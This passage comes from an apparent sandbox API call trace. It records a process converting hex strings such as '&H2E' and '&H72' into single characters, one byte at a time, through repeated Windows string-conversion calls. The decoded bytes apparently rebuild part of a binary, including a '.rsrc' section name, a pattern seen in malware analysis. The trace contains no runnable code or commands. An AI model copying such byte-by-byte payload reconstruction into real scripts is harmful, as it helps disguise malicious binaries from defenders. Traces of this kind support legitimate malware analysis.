lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.002] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.002] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.002] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.002] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.003] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.003] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.004] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.004] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.005] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.005] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.006] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.006] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.006] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.006] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.007] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.007] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.008] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.008] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.008] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.008] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.009] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.009] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.010] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.010] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0062.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@", lpUsedDefaultChar=0x0) returned 1 [0062.010] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.011] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.011] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.011] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.012] VarParseNumFromStr (in: strIn="&HC0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.012] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="À") returned 1 [0062.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="À", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="À", lpUsedDefaultChar=0x0) returned 1 [0062.013] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.013] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0062.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 1 [0062.013] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.013] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0062.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0062.014] VarParseNumFromStr (in: strIn="&H73", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.014] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0062.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="s", lpUsedDefaultChar=0x0) returned 1 [0062.015] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.015] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0062.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0062.015] VarParseNumFromStr (in: strIn="&H63", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.015] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, 